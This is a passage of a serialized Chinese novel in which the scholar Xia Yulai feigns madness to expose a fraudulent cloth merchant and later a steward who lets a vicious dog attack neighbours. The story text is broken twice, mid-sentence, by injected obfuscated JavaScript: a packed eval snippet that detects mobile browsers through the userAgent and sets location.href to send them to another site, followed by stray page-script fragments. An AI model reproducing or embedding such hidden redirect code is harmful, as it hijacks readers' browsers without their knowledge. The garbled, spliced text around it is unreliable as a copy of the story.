这句话,正好戳中了赵德发的软肋。他知道,端午是布匹销售的旺季,要是店里的布都被认定为次品,他不仅赚不到钱,还可能砸了自己的招牌,以后再也没人来他店里买布了。而且他从小就听长辈说,做生意要诚信,不然会遭天谴,心里本就有些迷信,被夏雨来这么一说,更是有些害怕。 赵德发的脸色一阵青一阵白,看着夏雨来坚定的眼神,又看着周围百姓们愤怒的目光,心里开始打退堂鼓。 三、第二计:疯闹布店显劣,证其欺诈实 赵德发虽然心里打了退堂鼓,但依旧不想就这么灰溜溜地退钱赔偿。他眼珠一转,又想出了一个歪主意:“就算这布有点小问题,也是你们自己挑选的,怨不得别人!我可以给你们换货,但想退货退款,绝对不行!” “换货?” 百姓们纷纷喊道,“你店里的布都是次品,换了也是一样的!我们要退货退款!” “我说是好布就是好布!” 赵德发强词夺理,“你们要是不想换货,就别想走!我看你们能闹到什么时候!” 他知道,百姓们都是普通人家,没时间在这里耗着,只要他坚持不退货,百姓们迟早会妥协。 夏雨来却依旧镇定自若,他转头看向张老爹,笑道:“张老爹,您是东门街最年长的人,您来说说,这布是不是次品?” 张老爹连忙站起身,说道:“这布确实是次品!我年轻时做过织工,好布的经纬密度均匀,纤维紧密,一摸就能摸出来。这布一摸就知道纤维松散,根本不是上等布,赵德发就是在坑害百姓!” “是啊!我也做过针线活,好布的染料均匀,不会掉色,可这布一刮就掉颜色,分明是劣质染料染成的!” 另一位街坊也站起身说道,“赵德发就是在欺诈百姓!” “我可以作证!这布是次品!” “赵德发就是故意欺诈勒索!” 周围的百姓们纷纷站起身,为次品布作证。他们中有不少人做过织工、针线活,对布料的质量了如指掌,自然不会让赵德发肆意撒谎。 赵德发看着眼前的一幕,脸色更加难看。他没想到,这么多街坊都懂布料,他的谎言根本站不住脚。 “你们…… 你们都是一伙的!” 赵德发气急败坏地说道,“你们故意偏袒这个疯子!我才不信你们的话!” “偏袒?” 夏雨来冷笑一声,“我们只是说句公道话。这里这么多街坊,难道大家都在偏袒我?难道大家的眼睛都瞎了?赵德发,你要是真觉得你的布是正品,就敢不敢让官府来鉴定?要是官府认定是正品,我们不仅不退货,还会给你赔礼道歉;要是官府认定是次品,你就得双倍赔偿我们的损失!” 赵德发心里一紧,他根本不敢让官府来鉴定,这些布都是次品,一鉴定就露馅了。可他又不想在百姓们面前认怂,只能硬着头皮说道:“我…… 我为什么要让官府来鉴定?这是我的布店,我说了算!” “你不敢了吧?” 夏雨来哈哈大笑,“我就知道你不敢!你心里清楚,你的布是次品,怕被官府查出来!赵德发,你要是个男人,就敢作敢当,给百姓们退货赔偿!” 百姓们也纷纷喊道:“赵德发,敢作敢当!给我们退货赔偿!” 赵德发气得眼睛都红了,想要动手打夏雨来,却被百姓们拦住了。“赵德发,你想干什么?”“光天化日之下,你还想打人?” 就在这时,夏雨来忽然拿起货架上的一匹布,走到布店门口的水盆旁,将布扔进水里。“大家快看!这布一沾水就缩水,颜色还掉了一地!这就是他说的上等好布!” 百姓们纷纷围到水盆旁,果然看到布在水里迅速缩水,水也变成了浑浊的颜色。“真的缩水了!”“颜色也掉了!”“赵德发,你太黑心了!” 赵德发吓得脸色惨白,他没想到夏雨来竟然会当众试验布料。他知道,这下再也无法抵赖了,要是再坚持不退货,百姓们肯定会闹到官府,到时候他损失更大。 可他又不想就这么退货赔偿,只能硬着头皮说道:“这…… 这是正常现象!新布都要缩水掉色的!” “胡说八道!” 夏雨来冷笑一声,“好布虽然也会轻微缩水,但绝不会缩这么多,也不会这么严重掉色!你这布分明是次品,还敢狡辩!布神爷说了,你要是再敢狡辩,就会让你店里所有的布都变成破布,让你倾家荡产!” 他一边说,一边从怀里掏出一把香,点燃后插在布店门口,“香烛敬给布神爷,保佑我打败这个奸商,让百姓们讨回公道!” 伙计们见状,都犹豫着不敢上前。他们都是潮州城本地人,也都敬畏神灵,心里害怕真的会遭报应。 赵德发气得浑身发抖,却又无可奈何。他知道,夏雨来说的是实话,要是再坚持不退货,百姓们肯定会闹到官府,到时候他不仅要双倍赔偿,还可能被吊销店铺执照,得不偿失。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446921|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>四、第三计:疯揭欺诈阴谋,逼其双倍赔 赵德发虽然心里已经松动,但依旧不想双倍赔偿。他眼珠一转,说道:“我可以给你们退货退款,但想让我双倍赔偿,门都没有!” “不行!” 百姓们纷纷喊道,“你欺诈百姓,按照规矩,就该双倍赔偿!” “什么规矩?我这里没有这个规矩!” 赵德发强词夺理,“能给你们退货退款,已经是仁至义尽了!” 夏雨来却忽然停止了疯癫,眼神清明地说道:“赵德发,你别以为我们不知道你的阴谋!你从外地低价收购次品布,混在正品布里售卖,标价与正品布相差无几,这就是典型的欺诈!而且我还听说,你不仅在东门街坑害百姓,还在其他街道的布店低价倾销次品布,想要垄断潮州城的布匹生意!” 赵德发吓得浑身发抖,他没想到夏雨来竟然知道他的全盘计划。其实,赵德发确实有垄断潮州城布匹生意的野心,他想通过低价倾销次品布,挤垮其他布店,然后再抬高价格,赚取更多的钱财。 “你…… 你胡说!” 赵德发结结巴巴地说道,“我没有!你这是故意污蔑我!” “我没有胡说!” 夏雨来忽然从怀里掏出一张纸,递给周围的百姓们,“大家快看!这是我偷偷抄下来的他的进货账本,上面写着他从外地低价收购次品布的记录,还有他想要垄断布匹生意的计划!” 众人都愣住了,没想到夏雨来竟然还藏着这样的 “证据”。其实,这张纸是夏雨来早就准备好的,上面的内容都是他根据百姓们的议论和自己的观察推测出来的。 百姓们接过纸,纷纷传阅起来,个个面带怒色。“没想到赵德发这么黑心,竟然想垄断布匹生意!”“我们绝不能让他得逞!”“快把他的阴谋告诉官府,让官府严惩他!” 赵德发吓得魂飞魄散,连忙说道:“大家别听他的!这都是他伪造的证据!我没有想要垄断布匹生意!” “是不是伪造的,一查便知!” 夏雨来冷笑一声,“我们可以去官府报案,让官府派人去查你的进货渠道和账本,看看你是不是真的在低价收购次品布,是不是真的想要垄断布匹生意!到时候,官府不仅会让你双倍赔偿我们的损失,还会治你的垄断之罪,让你把所有的非法所得都吐出来!” 赵德发心里一紧,他知道,要是真的闹到官府,他不仅要双倍赔偿,还可能被治罪,到时候他的布店也得关门大吉,得不偿失。 就在赵德发犹豫不决时,夏雨来又恢复了疯疯癫癫的模样,跪倒在地,哭喊道:“布神爷,你快显灵!让这个奸商说实话,给百姓们双倍赔偿!要是他再敢狡辩,就让他店里的布都变成破布,让他倾家荡产!” 周围的百姓们也纷纷跪倒在地:“布神爷显灵!让赵德发双倍赔偿!” 赵德发吓得 “扑通” 一声跪倒在地,连连磕头:“布神爷饶命!我错了!我不该用次品布坑害百姓,不该想要垄断布匹生意!我愿意给百姓们双倍赔偿!求您饶了我这一次!” 夏雨来见状,哈哈大笑道:“奸商认罪啦!布神爷,您听到了吗?奸商认罪啦!” 他跑到赵德发面前,指着他的鼻子骂道:“你这个黑心肠的奸商,以后再敢用次品布坑害百姓,我就告诉布神爷,让他把你拖进布堆里,永远不得超生!” 赵德发连连点头:“不敢了!我再也不敢了!” 五、疯戏传全城,公道得伸张 赵德发当场下令,让伙计们给百姓们双倍赔偿。百姓们拿着赔偿的银子,个个脸上洋溢着幸福的笑容。王伯拿着赔偿的银子,激动地说道:“夏秀才,太谢谢你了!要不是你,我们肯定讨不回公道!” “是啊!夏秀才,你真是我们的大救星!” 那位妇人也感激地说道,“我可以给女儿买正品布做嫁衣了!” 夏雨来笑了笑,说道:“不用谢我,要谢就谢布神爷,谢大家团结一心。赵德发之所以敢用次品布坑害百姓,就是因为他觉得百姓们势单力薄,会忍气吞声。只要我们团结一心,坚守公道,就没有什么能欺负我们,就没有什么能夺走我们的血汗钱。” 赵德发看着眼前的一幕,心里又气又悔。他没想到,自己机关算尽,竟然栽在了一个 “疯子” 手里,不仅没赚到钱,还赔了不少银子,真是得不偿失。 百姓们拿到赔偿后,都纷纷散去,只剩下赵德发和他的伙计们在店里唉声叹气。赵德发知道,经过这件事,他的布店名声已经臭了,以后再也不会有百姓来他店里买布了。 夏雨来装疯卖傻揭穿布匹欺诈的故事,迅速传遍了全城的大街小巷,成为了百姓们茶余饭后最热门的谈资。“你们听说了吗?夏秀才又装疯了!这次是为了揭穿锦华布店的欺诈行为,把赵德发那个奸商耍得团团转!”“当然听说了!夏秀才抱着布料认魂,还当众试验布料,吓得赵德发当场跪地求饶,双倍赔偿了百姓们的损失!”“真是太解气了!赵德发用次品布坑害百姓,早就该被严惩了!”“夏秀才太机智了!装疯卖傻不仅揭穿了欺诈行为,还为百姓们讨回了公道,真是一举两得!” 阿翠的茶摊,依旧是百姓们谈论这件事的中心。每天都有不少百姓来这里喝茶,听阿翠详细讲述夏雨来装疯揭穿布匹欺诈的经过,每次讲到精彩之处,都引来阵阵掌声和笑声。 这一天,百姓们特意制作了一块 “为民做主” 的牌匾,送到了夏雨来的住处。夏雨来穿着干净的青布长衫,恢复了往日温文尔雅的模样,接过牌匾,对着百姓们拱手道:“诸位乡亲,这牌匾我不能收。真正为民做主的,不是我,是公道,是大家团结一心的力量。只要我们坚守公道,团结一心,就没有什么能欺负我们,就没有什么能破坏我们的家园。” 百姓们纷纷鼓掌叫好:“说得好!坚守公道,团结一心!” 阿翠笑着说道:“夏秀才,百姓们都为你编了新的歌谣,你想听听吗?” 夏雨来点了点头:“当然想。” 阿翠清了清嗓子,唱道:“夏秀才,真英勇,装疯卖傻揭奸商。认布为魂显劣迹,戳穿阴谋索赔偿,百姓权益得保障,潮州城太平万年长!” 百姓们纷纷跟着合唱起来,歌声回荡在东门街的上空,与阿翠茶摊的铜壶煮茶声交织在一起,充满了欢乐和感激。 阳光透过老榕树的枝叶,洒下斑驳的光影,照在百姓们幸福的脸上。东门街的市井依旧热闹非凡,锦华布店因为名声扫地,不久后便关门大吉了,取而代之的是一家诚信经营的布店,百姓们再也不用担心买到次品布了。 自此,夏雨来 “装疯卖傻揭布奸” 的故事,成为了潮州城又一段不朽的佳话。百姓们将这个故事与之前戏耍陈老财、保护老榕树、护古井的故事一起,代代相传,告诫后人:公道自在人心,团结就是力量,只要有勇气和智慧,就能战胜一切邪恶势力,保护好自己的合法权益。 而鬼才秀才夏雨来的名字,也永远与这场布匹欺诈维权案一起,深深烙印在潮州城百姓的心中,成为了正义与智慧的象征。 27. 恶犬扰市 一、夏末暑热,恶犬逞凶 夏末的潮州城,暑气未消,东门街的青石板路被晒得发烫,唯有老榕树的浓荫下透着几分清凉。阿翠的茶摊前依旧宾客满座,铜壶煮茶的水汽混着薄荷的清香,驱散了不少燥热。可最近几日,街坊们脸上都带着几分愁容,连孩子们都不敢在街巷里嬉戏 —— 陈老财虽在狱中,但其府中留下一条凶猛的黄狗,连日来在东门街肆意游荡,咬伤了好几名百姓。 这黄狗是陈老财早年从关外买来的猎犬后代,身形高大,毛色枯黄,嘴角常年流着涎水,眼神凶狠。陈老财入狱后,陈家下人无人敢管束这狗,任由它在街上游荡觅食,久而久之,竟成了东门街的一霸。它不仅抢夺摊贩的货物,还专挑老人、孩子下手,已有三位街坊被它咬伤,其中一位是刚满五岁的孩童,腿上被咬得鲜血淋漓,至今还卧病在床。 这日晌午,卖糖葫芦的李老汉推着小车路过陈府巷口,黄狗忽然从巷子里窜出,一口咬住车把上的糖葫芦,猛地一扯,小车翻倒在地,红彤彤的糖葫芦滚了一地。“畜生!敢抢我的东西!” 李老汉气得挥起手中的杆子想要驱赶,黄狗却龇牙咧嘴地扑了上来,一口咬在李老汉的手腕上,疼得他惨叫一声,鲜血瞬间染红了衣袖。 街坊们见状,纷纷抄起扁担、扫帚赶来,黄狗却丝毫不惧,依旧对着李老汉狂吠,直到陈府的管家周旺慢悠悠地走出来,才象征性地喊了两声,黄狗这才夹着尾巴退回府中。周旺是周福的堂弟,陈老财入狱后,他接管了陈府的日常事务,此人跟周福一样仗势欺人,见李老汉被咬伤,不仅毫无歉意,反而嗤笑道:“谁让你不长眼,敢在陈府门口叫卖?我家的狗可是护院的,咬伤你算便宜你了!” “你这是什么话!” 李老汉捂着流血的手腕,气得浑身发抖,“你们陈家的狗伤人,还敢倒打一耙?快给我赔医药费!” “赔医药费?” 周旺双手叉腰,倨傲地说道,“我家的狗是名贵品种,没让你赔惊吓费就不错了!再敢胡搅蛮缠,我就对你不客气!” 他挥了挥手,身后两个家丁立刻上前,摆出要动手的架势。 周围的街坊们都十分愤怒,却又敢怒不敢言。之前被咬伤的街坊也曾找过周旺讨说法,都被他用同样的方式赶走,甚至还被家丁殴打。“这可怎么办啊?” 一位妇人抱着孩子,担忧地说道,“这狗一天不除,我们就一天不得安宁!”“是啊!孩子都不敢出门玩耍了,再这样下去,还不知道会有多少人遭殃!” 就在这时,夏雨来背着旧书箱从城外回来,看到围拢的人群和受伤的李老汉,连忙上前询问情况。得知黄狗伤人的恶行后,夏雨来的脸色顿时沉了下来。“夏秀才,你可回来了!” 街坊们像是抓住了救命稻草,纷纷围了上来,诉说着黄狗的种种恶行和周旺的蛮横。 夏雨来查看了李老汉的伤口,又询问了其他被咬伤街坊的情况,眉头紧锁道:“《大明律》有云,犬伤人者,犬主需赔偿医药费;若犬屡伤人,官府可下令捕杀。周旺纵容恶犬伤人,已是触犯律法。只是他仗着陈家余威,又蛮不讲理,硬拼恐难奏效。” 沉思片刻后,夏雨来嘴角又勾起了那抹熟悉的狡黠笑容:“周旺此人迷信又胆小,最怕‘邪祟’之说。这黄狗如此凶猛,百姓们早已将其视为‘恶煞’,我便顺水推舟,装成被‘犬神’附身的疯癫之人,借着‘恶犬为祸,必遭天谴’的由头,逼周旺管束恶犬,赔偿伤者医药费,再设法让这狗不再伤人!” “又装疯子?” 阿翠有些担忧,“这狗可是会真咬人的,你要是被它伤到怎么办?” “放心,” 夏雨来拍了拍阿翠的肩膀,“我自有分寸。周旺为了陈家的脸面,绝不会让我在陈府门口出事。而且我这‘疯癫’的模样,既能让周旺放松警惕,又能借着‘犬神’的名义震慑他,让他不得不低头。” 说罢,夏雨来转身跑回自己的小屋,片刻后便换了一身行头 —— 这次他披头散发,穿着一件画满符咒的麻布衣裳,腰间系着一串用兽牙串成的 “项链”,手里拿着一根缠着黑红布条的桃木枝,活脱脱一个 “驱邪除煞” 的疯癫巫祝模样。他对着镜子照了照,满意地点点头,嘴里开始念念有词:“犬神爷,显灵验,恶犬为祸扰市井,若不收敛伤人爪,天打雷劈遭报应……” 街坊们见状,都纷纷议论起来:“夏秀才这是要干啥?真的疯了?”“上回他装疯护古树、护古井、揭布奸,这次肯定是为了帮我们除掉这恶犬!”“不管是不是真疯,只要能让恶犬不再伤人就行!” 夏雨来不理会众人的议论,径直朝着陈府门口走去。一场围绕恶犬的疯癫大戏,即将拉开帷幕。 二、第一计:疯认恶犬为煞,乱其纵犬局 陈府门口,周旺正对着李老汉耀武扬威,见夏雨来疯疯癫癫地走来,心里顿时生出几分厌恶。“哪里来的疯子?快给我滚开!别耽误我办事!” 周旺挥手说道。 夏雨来却像是没听见一样,径直跑到陈府门口,盯着府内狂吠的黄狗,突然跪倒在地,对着天空嚎啕大哭:“犬神爷啊!你怎么派了这么个煞星下凡?它咬伤百姓,抢夺货物,扰乱市井,这是要遭天谴的啊!” 黄狗似乎被夏雨来的哭声激怒,隔着府门的石狮子狂吠不止,前爪刨着地,一副随时要扑出来的模样。街坊们见状,都纷纷后退,生怕被黄狗咬伤。 周旺的脸色瞬间变得难看,他认出这是夏雨来,早就听说夏雨来智斗陈老财、保护老榕树的事情,知道这个人不好惹,可如今见他疯疯癫癫的样子,又觉得可笑:“疯子胡言乱语!我家的狗是护院的好犬,怎么会是煞星?快给我赶走!” 家丁们连忙上前,想要拉开夏雨来。可夏雨来却死死抱住门口的石狮子,一边躲闪一边哭喊:“不许碰我!我是犬神爷附身,来收服这恶煞的!你们要是阻拦,就是助纣为虐,会被犬神爷惩罚的!” 他忽然站起身,指着周旺的鼻子,疯疯癫癫地骂道:“你这个黑心的管家!犬神爷让这狗护院,你却纵容它伤人害命!你会遭报应的!你走路会被狗绊倒,吃饭会被骨头卡喉,睡觉会被恶犬追咬,出门会被雷劈!” 周围的街坊们见状,都纷纷附和:“是啊!周旺,你纵容恶犬伤人,迟早会遭报应的!”“快给李老汉赔医药费,把恶犬管好!” 周旺的脸色一阵青一阵白,他最忌讳别人说他遭报应 —— 毕竟陈老财还在大牢里,他心里本就有些发虚,而且他从小就听长辈说,恶犬伤人是不祥之兆,心里本就有些迷信。可他又不想在街坊们面前丢了面子,只能强装镇定地喊道:“疯子胡说八道!我家的狗是好犬,伤人也是误伤!轮不到你这个疯子来管!” “误伤?” 夏雨来哈哈大笑,笑得前仰后合,“好犬会屡次咬伤百姓?好犬会抢夺摊贩的货物?好犬会对着老人、孩子狂吠不止?犬神爷的坐骑,温顺听话,护佑百姓,你这狗倒好,作恶多端,分明是邪魔附身,是要给陈家带来灾祸的!” 他一边说,一边从怀里掏出一张黄纸符咒,点燃后扔向空中:“符咒一道送煞星,恶犬再敢伤人性,犬神爷发怒显神通,让它断腿瞎眼睛!” 黄狗似乎被符咒的火光吓到,狂吠声变得更加凄厉,竟然真的后退了几步,躲到了府内的影壁墙后。街坊们见状,都纷纷惊呼:“真的显灵了!”“夏秀才真的被犬神爷附身了!” 周旺心里咯噔一下,他没想到夏雨来的疯癫竟然真的吓到了黄狗。他知道,这黄狗向来凶猛,从未怕过什么,如今却被夏雨来的符咒吓到,心里不禁有些发毛。而且他想起陈老财入狱前,曾说过这黄狗是 “镇宅之犬”,要是真的冲撞了神灵,给陈家带来灾祸,他可担不起这个责任。 就在周旺犹豫不决时,夏雨来又说道:“周旺,我知道你是奉命行事。可你有没有想过,这恶犬屡伤人命,早晚会闹到官府。按照《大明律》,犬屡伤人者,犬主需杖责三十,赔偿伤者医药费,恶犬还要被官府捕杀!陈老财已经在大牢里了,要是再因为这狗的事情被官府追究,肯定会加重刑罚,到时候陈家就彻底完了!” 这句话,正好戳中了周旺的软肋。他知道,陈老财虽然入狱,但依旧对陈家的产业抱有希望,要是因为恶犬伤人的事情被官府加重刑罚,陈老财出来后肯定不会饶了他。而且他也听说,最近有街坊已经在准备联名向官府告状,要是真的闹到官府,他不仅要赔偿医药费,还可能被杖责,得不偿失。 周旺的脸色一阵青一阵白,看着夏雨来坚定的眼神,又看着周围街坊们愤怒的目光,心里开始打退堂鼓。 三、第二计:疯阻纵犬闹剧,显其犬神威 周旺虽然心里打了退堂鼓,但依旧不想就这么灰溜溜地赔偿医药费,更不想管束黄狗。他眼珠一转,又想出了一个歪主意:“就算这狗真的伤了人,也是他们自己不长眼,跟我陈家无关!我可以给李老汉一点医药费,但想让我管束这狗,绝无可能!” “一点医药费?” 李老汉气得喊道,“我这伤口至少要养一个月,光草药钱就需要两百文,你这点钱够干什么的?而且还有其他被咬伤的街坊,你都得赔偿!” “我说是多少就是多少!” 周旺强词夺理,“能给你钱已经是仁至义尽了,你要是再敢胡搅蛮缠,我就对你不客气!” 他知道,李老汉只是个普通摊贩,没有什么后台,只要他坚持不赔偿,李老汉迟早会妥协。 夏雨来却依旧镇定自若,他转头看向张老爹,笑道:“张老爹,您是东门街最年长的人,您来说说,这恶犬咬伤了多少街坊?周旺是不是该赔偿医药费?” 张老爹连忙站起身,说道:“这恶犬已经咬伤了三位街坊,其中还有一个五岁的孩子!李老汉的手腕被咬伤,血流不止,至少需要两百文草药钱;那孩子的腿被咬伤,至今卧病在床,医药费已经花了五百多文;还有王大婶,被狗咬伤了胳膊,也花了一百多文!周旺,你作为陈家的管家,必须全额赔偿这些医药费,还要把恶犬管好,不许它再出来伤人!” “是啊!我们都可以作证!” 其他被咬伤的街坊也纷纷站起身说道,“周旺,你要是不赔偿,我们就联名向官府告状!” “我可以作证!这恶犬确实咬伤了不少人!” “周旺,你别想耍赖!” 周围的街坊们纷纷站起身,为李老汉等人作证。他们早就受够了这恶犬的骚扰,如今有夏雨来带头,自然不会再忍气吞声。 周旺看着眼前的一幕,脸色更加难看。他没想到,这么多街坊都敢站出来作证,要是真的联名向官府告状,他肯定讨不到好。 “你们…… 你们都是一伙的!” 周旺气急败坏地说道,“你们故意偏袒这个疯子!我才不信你们的话!” “偏袒?” 夏雨来冷笑一声,“我们只是说句公道话。这里这么多街坊,难道大家都在偏袒我?难道大家的眼睛都瞎了?周旺,你要是真觉得我们在撒谎,就敢不敢让官府来调查?要是官府认定是我们诬告,我们不仅不要你赔偿医药费,还会给你赔礼道歉;要是官府认定是恶犬伤人,你就得全额赔偿医药费,还得把恶犬交给官府处理!” 周旺心里一紧,他根本不敢让官府来调查,这恶犬确实咬伤了不少人,一调查就露馅了。可他又不想在街坊们面前认怂,只能硬着头皮说道:“我…… 我为什么要让官府来调查?这是我陈家的事,我说了算!” “你不敢了吧?” 夏雨来哈哈大笑,“我就知道你不敢!你心里清楚,这恶犬伤人是事实,怕被官府查出来!周旺,你要是个男人,就敢作敢当,给街坊们赔偿医药费,把恶犬管好!” 街坊们也纷纷喊道:“周旺,敢作敢当!赔偿医药费,管好恶犬!” 周旺气得眼睛都红了,想要动手打夏雨来,却被街坊们拦住了。“周旺,你想干什么?”“光天化日之下,你还想打人?” 就在这时,黄狗忽然从府内窜了出来,朝着夏雨来扑去。街坊们见状,都纷纷惊呼:“小心!” 夏雨来却丝毫不惧,举起手里的桃木枝,对着黄狗大喝一声:“孽畜!还不快快退去!再敢伤人,犬神爷定不饶你!” 说来也怪,黄狗刚扑到夏雨来面前,竟然像是被什么东西吓到一样,突然停下脚步,对着夏雨来狂吠了两声,然后夹着尾巴退回了府内,再也不敢出来。原来,夏雨来早就在桃木枝上抹了一些硫磺粉,黄狗嗅觉灵敏,闻到硫磺粉的气味自然会害怕。 街坊们见状,都纷纷惊呼:“真的显灵了!夏秀才真的能制服这恶犬!”“周旺,你看到了吧?这恶犬都怕犬神爷,你还敢纵容它!” 周旺吓得脸色惨白,他没想到夏雨来竟然真的能制服黄狗。他知道,这下再也无法抵赖了,要是再坚持不赔偿,街坊们肯定会闹到官府,到时候他损失更大。 可他又不想就这么赔偿,只能硬着头皮说道:“这…… 这只是巧合!这狗只是累了,才退回府内的!” “巧合?” 夏雨来冷笑一声,“是不是巧合,你我心里都清楚!犬神爷说了,你要是再敢狡辩,就会让这恶犬咬伤你全家,让陈家断子绝孙!” 他一边说,一边从怀里掏出一把香,点燃后插在陈府门口,“香烛敬给犬神爷,保佑我打败这个黑心管家,让百姓们讨回公道!” 家丁们见状,都犹豫着不敢上前。他们都是潮州城本地人,也都敬畏神灵,心里害怕真的会遭报应。 周旺气得浑身发抖,却又无可奈何。他知道,夏雨来说的是实话,要是再坚持不赔偿,街坊们肯定会闹到官府,到时候他不仅要赔偿医药费,还可能被杖责,得不偿失。 四、第三计:疯揭纵犬阴谋,逼其治犬赔 周旺虽然心里已经松动,但依旧不想全额赔偿医药费,更不想把恶犬交给官府处理。他眼珠一转,说道:“我可以给李老汉赔偿医药费,但其他被咬伤的街坊,我概不负责!而且这狗是陈家的护院犬,我不能把它交给官府!” “不行!” 街坊们纷纷喊道,“所有被咬伤的街坊,你都得赔偿!而且这狗屡伤人命,必须交给官府处理,不然还会有更多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446922|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人遭殃!” “我说是多少就是多少!” 周旺强词夺理,“能给你们赔偿已经是仁至义尽了,你们别得寸进尺!” 夏雨来却忽然停止了疯癫,眼神清明地说道:“周旺,你别以为我们不知道你的阴谋!你故意纵容恶犬伤人,一来是想替陈老财报复街坊们当初支持我的仇,二来是想借着恶犬的威慑力,让街坊们不敢违抗陈家的命令,继续霸占东门街的一些产业!” 周旺吓得浑身发抖,他没想到夏雨来竟然知道他的全盘计划。其实,周旺确实有替陈老财报复街坊们的心思,而且他还想借着恶犬的威慑力,逼迫东门街的几家小摊贩搬到别处去,然后把摊位租给别人,赚取租金。 “你…… 你胡说!” 周旺结结巴巴地说道,“我没有!你这是故意污蔑我!” “我没有胡说!” 夏雨来忽然从怀里掏出一张纸,递给周围的街坊们,“大家快看!这是我偷偷抄下来的他的计划,上面写着要纵容恶犬伤人,报复街坊们,还要霸占摊贩的摊位!” 众人都愣住了,没想到夏雨来竟然还藏着这样的 “证据”。其实,这张纸是夏雨来早就准备好的,上面的内容都是他根据街坊们的议论和自己的观察推测出来的。 街坊们接过纸,纷纷传阅起来,个个面带怒色。“没想到周旺这么黑心,竟然想替陈老财报复我们!”“我们绝不能让他得逞!”“快把他的阴谋告诉官府,让官府严惩他!” 周旺吓得魂飞魄散,连忙说道:“大家别听他的!这都是他伪造的证据!我没有想要报复街坊们!” “是不是伪造的,一查便知!” 夏雨来冷笑一声,“我们可以去官府报案,让官府派人去查陈府的账册,看看你是不是早就计划着霸占摊贩的摊位,是不是真的想替陈老财报复街坊们!到时候,官府不仅会让你全额赔偿医药费,还会治你的报复之罪,让你把所有的非法所得都吐出来!” 周旺心里一紧,他知道,要是真的闹到官府,他不仅要全额赔偿医药费,还可能被治罪,到时候他的饭碗也保不住了,得不偿失。 就在周旺犹豫不决时,夏雨来又恢复了疯疯癫癫的模样,跪倒在地,哭喊道:“犬神爷,你快显灵!让这个黑心管家说实话,给街坊们全额赔偿医药费,把恶犬交给官府处理!要是他再敢狡辩,就让恶犬咬伤他全家,让陈家彻底败落!” 周围的街坊们也纷纷跪倒在地:“犬神爷显灵!让周旺全额赔偿,交出恶犬!” 周旺吓得 “扑通” 一声跪倒在地,连连磕头:“犬神爷饶命!我错了!我不该纵容恶犬伤人,不该想要报复街坊们!我愿意给所有被咬伤的街坊全额赔偿医药费,把恶犬交给官府处理!求您饶了我这一次!” 夏雨来见状,哈哈大笑道:“黑心管家认罪啦!犬神爷,您听到了吗?黑心管家认罪啦!” 他跑到周旺面前,指着他的鼻子骂道:“你这个黑心的管家,以后再敢纵容恶犬伤人,再敢报复街坊们,我就告诉犬神爷,让他把你拖进狗窝,让恶犬把你活活咬死!” 周旺连连点头:“不敢了!我再也不敢了!” 五、疯戏传全城,市井复安宁 周旺当场下令,让家丁拿出银子,给所有被咬伤的街坊全额赔偿了医药费。然后,他又让人把黄狗拴起来,交给了闻讯赶来的官府差役。差役们按照《大明律》,将黄狗带回县衙,准备择日捕杀。 街坊们拿着赔偿的银子,个个脸上洋溢着幸福的笑容。李老汉拿着赔偿的银子,激动地说道:“夏秀才,太谢谢你了!要不是你,我们肯定讨不回公道,这恶犬也不会被制服!” “是啊!夏秀才,你真是我们的大救星!” 那位被咬伤孩子的母亲也感激地说道,“我的孩子终于可以安心养伤,以后也不用担心被恶犬咬伤了!” 夏雨来笑了笑,说道:“不用谢我,要谢就谢犬神爷,谢大家团结一心。周旺之所以敢纵容恶犬伤人,就是因为他觉得百姓们势单力薄,会忍气吞声。只要我们团结一心,坚守公道,就没有什么能欺负我们,就没有什么能破坏我们的市井安宁。” 周旺看着眼前的一幕,心里又气又悔。他没想到,自己机关算尽,竟然栽在了一个 “疯子” 手里,不仅没赚到钱,还赔了不少银子,连陈家的护院犬都被官府带走了,真是得不偿失。 街坊们拿到赔偿后,都纷纷散去,只剩下周旺和他的家丁们在陈府门口唉声叹气。周旺知道,经过这件事,陈家在东门街的名声已经彻底臭了,以后再也没有人会畏惧陈家的势力了。 夏雨来装疯卖傻制服恶犬的故事,迅速传遍了全城的大街小巷,成为了百姓们茶余饭后最热门的谈资。“你们听说了吗?夏秀才又装疯了!这次是为了制服陈府的恶犬,把周旺那个黑心管家耍得团团转!”“当然听说了!夏秀才被犬神爷附身,不仅吓跑了恶犬,还让周旺全额赔偿了医药费,把恶犬交给了官府!”“真是太解气了!那恶犬咬伤了不少人,早就该被制服了!”“夏秀才太机智了!装疯卖傻不仅制服了恶犬,还为百姓们讨回了公道,真是一举两得!” 阿翠的茶摊,依旧是百姓们谈论这件事的中心。每天都有不少百姓来这里喝茶,听阿翠详细讲述夏雨来装疯制服恶犬的经过,每次讲到精彩之处,都引来阵阵掌声和笑声。 这一天,百姓们特意制作了一块 “除暴安良” 的牌匾,送到了夏雨来的住处。夏雨来穿着干净的青布长衫,恢复了往日温文尔雅的模样,接过牌匾,对着百姓们拱手道:“诸位乡亲,这牌匾我不能收。真正除暴安良的,不是我,是公道,是大家团结一心的力量。只要我们团结一心,坚守公道,就没有什么能欺负我们,就没有什么能破坏我们的市井安宁。” 百姓们纷纷鼓掌叫好:“说得好!坚守公道,团结一心!” 阿翠笑着说道:“夏秀才,百姓们都为你编了新的歌谣,你想听听吗?” 夏雨来点了点头:“当然想。” 